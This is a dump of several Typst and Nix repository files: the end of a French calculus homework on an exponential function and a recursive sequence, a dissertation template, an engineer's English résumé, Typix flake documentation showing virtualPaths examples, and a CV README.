#block[
#set enum(numbering: "a.", start: 2)
+
]
==== Question 5
<question-5>
#block[
#set enum(numbering: "a.", start: 2)
+
]
==== Question 6
<question-6>
#block[
#set enum(numbering: "a.", start: 2)
+
]
== Exercice 2
<exercice-2>
=== Partie A
<partie-a>
+ #block[
#set enum(numbering: "a.", start: 1)
+ $ l i m_(x arrow.r minus oo) x eq minus oo $
$ l i m_(x arrow.r minus oo) 0.5 x minus 2 eq minus oo $
$ l i m_(x arrow.r minus oo) e^(0.5 x minus 2) eq l i m_(X t o minus oo) e^X eq 0 $
$ l i m_(x arrow.r minus oo) 1 plus x minus e^(0.5 x minus 2) eq minus oo $
+ $ f lr((x)) eq 1 plus x plus e^(0.5 x minus 2) eq 1 plus 0.5 x lr((2 minus 2 e^(0.5 x minus 2))) eq 1 plus 0.5 x lr((2 minus frac(e^(0.5 x), 0.5 x) times e^(minus 2))) $
\
\
\
\
\
\
\
\
\
\
]
+ #block[
#set enum(numbering: "a.", start: 1)
+
]
$ f lr((x)) eq 1 plus x minus e^X $
$ f prime lr((x)) eq 1 minus X prime lr((x)) e^X $
$ X lr((x)) eq 0.5 x minus 2 $ $ X prime lr((x)) eq 0.5 $
$ f prime lr((x)) eq 1 minus 0.5 lr((e^(0.5 x minus 2))) $
b.$ 1 minus 0.5 lr((e^(0.5 x minus 2))) lt 0 $
$ minus 0.5 lr((e^(0.5 x minus 2))) lt minus 1 $
$ e^(0.5 x minus 2) gt 2 $ $ 0.5 x minus 2 gt l n lr((2)) $
$ x gt 2 lr((l n lr((2)) plus 2)) $ $ x gt 4 plus 2 l n lr((2)) $
Donc $f prime lr((x)) lt 0$ quand
$x in bracket.r 4 plus 2 l n lr((2)) semi plus oo bracket.l$
3.#image("DM5_1.png")
#block[
#set enum(numbering: "1.", start: 4)
+ On montre que la fonction
$f lr((x)) eq 1 plus x minus e^(0.5 x minus 2)$ est continue sur
l’intervalle $lr([minus 1 semi 0])$.
]
La fonction $x arrow.r.bar 1 plus x$ est continue sur $bb(R)$. La
fonction $x arrow.r.bar e^(0.5 x minus 2)$ est continue sur $bb(R)$ car
c’est une fonction exponentielle. La somme, la composition et la
multiplication de fonctions continues sont continues, donc
$f lr((x)) eq 1 plus x minus e^(0.5 x minus 2)$ est continue sur
$bb(R)$.
En particulier, $f lr((x))$ est continue sur $lr([minus 1 semi 0])$.
D’après le tableau de variation $f lr((x))$ est croissante sur
$lr([minus 1 semi 0])$ car $0 lt 4 plus 2 l n lr((2)) approx 5.4$
Finalement $f lr((0)) eq 1 minus e^(minus 2) approx 0.9$ et
$f lr((1)) eq 2 minus e^(minus 1.5) approx minus 0.08$ Donc
$0 in lr([1 minus e^(minus 2) semi 2 minus e^(minus 1.5)])$
Selon le théorème des valeurs intermédiaires l’équation $f lr((x)) eq 0$
a une unique solution sur l’intervalle $lr([minus 1 semi 0])$
=== Partie B
<partie-b>
+ #block[
#set enum(numbering: "a.", start: 1)
+
]
Soit à démontrer: P(n): "$u_n lt.eq u_(n plus 1) lt.eq 4$"
Initialisation: au rang $n eq 0$ $u_0 eq 0$
$u_1 eq f lr((0)) eq 1 plus 0 minus e^(minus 2) eq 1 minus e^(minus 2) gt 0$
$4 gt.eq 1 minus e^(minus 2) gt.eq 0$ Donc la propriété est initialisée.
Hérédité: On suppose qu’il existe un entier k naturel tel que
$u_k lt.eq u_(k plus 1) lt.eq 4$ On cherche à démontrer que la propriété
est vraie au rang suivant.
On sait que sur $lr([0 semi 4])$ f est croissante. Donc
$f lr((u_k)) lt.eq f lr((u_(k plus 1))) lt.eq f lr((4))$
$u_(k plus 1) lt.eq u_(k plus 2) lt.eq 1 plus 4 minus e^(0.5 times 4 minus 2) eq 4$
Par conséquent la propriété est héréditaire.
Conclusion: La propriété est initialisée et héréditaire selon le
principe de récurrence, $forall n in bb(N)$, on a:
$u_n lt.eq u_(n plus 1) lt.eq 4$
#block[
#set enum(numbering: "a.", start: 2)
+ On sait que f est un fonction continue sur $lr([0 semi 4])$ et que
pour tout entier appartenant à $lr([0 semi 4])$ $lr((u_n))$ est une
suite à valeurs dans $lr([0 semi 4])$; De plus $lr((u_n))$ est
croissante et majorée par 4 donc elle converge vers un réel l
appartenant à $lr([0 semi 4])$ et l est l’une des solutions de
l’équation $f lr((x)) eq x$
]
$1 plus x minus e^(0.5 x minus 2) eq x$
$1 plus x minus x eq e^(0.5 x minus 2)$ $l n lr((1)) eq 0.5 x minus 2$
$4 plus 2 l n lr((1)) eq x$ $4 eq x$ Donc $l eq 4$
#block[
#set enum(numbering: "1.", start: 2)
+ On en déduit que pour que $u_n gt.eq 3.99$, $n gt.eq 12$
]
|
|
https://github.com/ahenshaw/ksu_dissertation_template | https://raw.githubusercontent.com/ahenshaw/ksu_dissertation_template/main/main.typ | typst | Creative Commons Zero v1.0 Universal | #import "dissertation_template.typ": *
#show: thesis.with(
title: "On Formally Undecidable
Propositions of Principia
Mathematica and Related
Systems",
author: "<NAME>",
// Insert your abstract after the colon, wrapped in brackets.
// Example: `abstract: [This is my abstract...]`
abstract: [#lorem(59)],
)
= Introduction
#lorem(30) @quantized-vortex. #lorem(40) @patristic.
#lorem(50)
#lorem(60)
== In this paper
#lorem(20)
=== Contributions
#lorem(40)
= Related Work
#lorem(500)
#bibliography("bib.yml" , style: "chicago-author-date") |
https://github.com/TOMATOFQY/MyChiCV | https://raw.githubusercontent.com/TOMATOFQY/MyChiCV/main/resume.english.typ | typst | MIT License | #import "chicv.english.typ": *
#show: chicv
#box([
= <NAME>
#fa[#phone] #fa[#weixin] (+86)132-8866-2339 |
#fa[#envelope] <EMAIL> |
#fa[#github] #link("https://github.com/TOMATOFGY")[github.com/TOMATOFGY]
// #fa[#home] #link("https://www.notion.so/tomatofgy/TOMATOFGY-s-Blog-c83179a1988543678b177bbb4fa957e1")[TOMATOFGY's Blog]
])
#h(1fr)
#box(baseline:3% ,radius: 5pt,[
// #image("img/placeholder.png",width:6%)
#image("img/tomato.png",width:6%)
]
)
== Education
#landr(
tl: "1. Peking University · School of Software and Microelectronics",
tr: "2021/09 - 2024/07",
)
#linebreak()
Network Security 丨 Master's Degree Candidate 丨 GPA 3.60/4.00, rank 4/20
#linebreak()
#landr(
tl: "2. National University of Singapore · School of Computing · Summer Internship",
tr: "2019/06 - 2019/08",
)
#linebreak()
#landr(
tl: "3. Beijing University of Posts and Telecommunications · School of Computer Science",
tr: "2017/06 - 2021/06",
)
#linebreak()
Computer Science and Technology 丨 Bachelor's Degree 丨 GPA 91/100, rank 12/404
== Experience
#cventry(
tl: "1. ByteDance · AML · Engine · Parameter Server Group · R&D",
tr: "2023/12 - 2024/05",
bl: "",
br: ""
)[
Participated in the development of the parameter server component within the ByteDance Machine Learning platform. Involved in the training and inference services of the recommendation system model.
- Participated in the optimization of the PS component across different operating environments. Optimized service performance from an architectural perspective.
- Involved in the optimization of synchronization, reducing the average bandwidth required by the service by 20%.
]
#cventry(
tl: "2. ByteDance · Data · Data Platform · Analytical Database · R&D Intern",
tr: "2023/03 - 2023/07",
bl: "",
br: ""
)[
Participated in the optimization work of the storage layer of ByConity, an analytical database owned by ByteDance.
- Participated in the design and implementation of storage and computation separation, distributed caching, and monitoring link functions.
- Participated in the implementation of data cold-hot separation, achieving cost reduction and performance improvement.
]
#cventry(
tl: "3. SenseTime · Storage Systems Department · Acceleration Group · R&D Intern",
tr: "2022/06 - 2022/11",
)[
Participated in the development of an cache service at SenseTime (a distributed key-value database based on NVMe).
- Designed POSIX interface. By using Linux FUSE, users can access the cache without modifying the code that accesses the file system, improving service usability.
- Designed system call hijacking mechanism. Implemented bypassing libfuse to improving access efficiency.
- Optimized read and write efficiency for cloud scenarios. Established reverse proxies for services such as S3, achieving a 100x increase in read and write speed and a 3% increase in model training speed.
]
#cventry(
tl: "4. Microsoft Research Asia · IEG · R&D Intern " + iconlink("https://apps.apple.com/cn/app/%E7%89%9B%E5%8A%B2%E5%B0%8F%E8%8B%B1/id1509670731",icon:app-store),
tr: "2021/08 - 2022/06",
)[
Responsible for the backend and iOS development of an application with over 100,000 monthly active users.
- Deeply involved in the design and implementation of project refactoring. Used SwiftUI to replace the UIKit framework.
]
== Awards
#cventry(
tl: "1. Ant Group · 2022 OceanBase Database Competition" + " " + iconlink("https://open.oceanbase.com/competition/index#info") + " " + "Third Place (Rank 4/1180)" ,
tr: "2022/10 - 2023/01"
)[
Designed and optimized the high-performance bypass import feature for OceanBase
- Designed and implemented the bypass import module, including CSV file parsing, compression algorithms, merge sort algorithms, and CSV2SSTable algorithms.
- Applied tuning techniques such as perf to capture and optimize various optimization points.
- Significantly improved performance, achieving a 10x performance improvement compared to OceanBase's original batch insert solution. #iconlink("https://zhuanlan.zhihu.com/p/605181163",icon:zhihu) #iconlink("https://zhuanlan.zhihu.com/p/617520132",icon:zhihu)
]
== Project Experience
#cventry(
tl: "1. Sourcetrail Golang Indexer " + emph("Open Source Contribution ") + iconlink("https://github.com/TOMATOFGY/SourcetrailGolangIndexer", icon:github),
tr: "2021/01 - 2021/06"
)[
- Provided support for the Golang language in the source code reading software Sourcetrail. Utilized program static analysis techniques to analyze and generate function call graphs, control flow graphs, and more for Golang projects, and provided an interactive graphical interface.
]
== Others
- Languages: C/C++, Shell, Rust, Golang, HTML/CSS/JavaScript, Python, SQL, Swift, Obj-C, VHDL
- Tools & Products: CMake; Git; GDB, Perf, Flamegraph; Docker; MySQL, Clickhouse, Redis, Memcached, LevelDB
- #box([Languages: TOEFL: 102; CET-6: 559]) #h(1fr) #box([ #text(fill: gray)[Last Updated on Apr 26, 2024]])
|
https://github.com/loqusion/typix | https://raw.githubusercontent.com/loqusion/typix/main/docs/api/derivations/common/virtual-paths-example.md | markdown | MIT License | <!-- markdownlint-disable-file first-line-h1 -->
<!-- ANCHOR: head -->
You can specify dependencies in your flake input, and then use them in your
project with something like:
<!-- ANCHOR_END: head -->
<!-- ANCHOR: buildtypstprojectlocal_example -->
```nix
{
inputs = {
font-awesome = {
url = "github:FortAwesome/Font-Awesome";
flake = false;
};
};
outputs = { typix, font-awesome }: let
system = "x86_64-linux";
in {
apps.${system}.default = typix.lib.${system}.buildTypstProjectLocal {
virtualPaths = [
{
dest = "icons";
src = "${font-awesome}/svgs/regular";
}
];
};
};
}
```
<!-- ANCHOR_END: buildtypstprojectlocal_example -->
<!-- ANCHOR: buildtypstproject_example -->
```nix
{
inputs = {
font-awesome = {
url = "github:FortAwesome/Font-Awesome";
flake = false;
};
};
outputs = { typix, font-awesome }: let
system = "x86_64-linux";
in {
packages.${system}.default = typix.lib.${system}.buildTypstProject {
virtualPaths = [
{
dest = "icons";
src = "${font-awesome}/svgs/regular";
}
];
};
};
}
```
<!-- ANCHOR_END: buildtypstproject_example -->
<!-- ANCHOR: devshell_example -->
```nix
{
inputs = {
font-awesome = {
url = "github:FortAwesome/Font-Awesome";
flake = false;
};
};
outputs = { typix, font-awesome }: let
system = "x86_64-linux";
in {
devShells.${system}.default = typix.lib.${system}.devShell {
virtualPaths = [
{
dest = "icons";
src = "${font-awesome}/svgs/regular";
}
];
};
};
}
```
<!-- ANCHOR_END: devshell_example -->
<!-- ANCHOR: mktypstderivation_example -->
```nix
{
inputs = {
font-awesome = {
url = "github:FortAwesome/Font-Awesome";
flake = false;
};
};
outputs = { typix, font-awesome }: let
system = "x86_64-linux";
in {
packages.${system}.default = typix.lib.${system}.mkTypstDerivation {
virtualPaths = [
{
dest = "icons";
src = "${font-awesome}/svgs/regular";
}
];
};
};
}
```
<!-- ANCHOR_END: mktypstderivation_example -->
<!-- ANCHOR: watchtypstproject_example -->
```nix
{
inputs = {
font-awesome = {
url = "github:FortAwesome/Font-Awesome";
flake = false;
};
};
outputs = { typix, font-awesome }: let
system = "x86_64-linux";
in {
apps.${system}.default = typix.lib.${system}.watchTypstProject {
virtualPaths = [
{
dest = "icons";
src = "${font-awesome}/svgs/regular";
}
];
};
};
}
```
<!-- ANCHOR_END: watchtypstproject_example -->
<!-- ANCHOR: typst_example -->
```typst
#image("icons/heart.svg")
```
<!-- ANCHOR_END: typst_example -->
<!-- ANCHOR: tail -->
Then, reference the files in Typst:
```typst
#image("icons/heart.svg")
```
<!-- ANCHOR_END: tail -->
|
https://github.com/Goldan32/brilliant-cv | https://raw.githubusercontent.com/Goldan32/brilliant-cv/main/README.md | markdown | Apache License 2.0 | # Brilliant CV
Forked from https://github.com/mintyfrankie/brilliant-CV
## Compile
```
typst compile ./cv.typ ./output/CV.pdf --font-path ./src/fonts/
``` |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.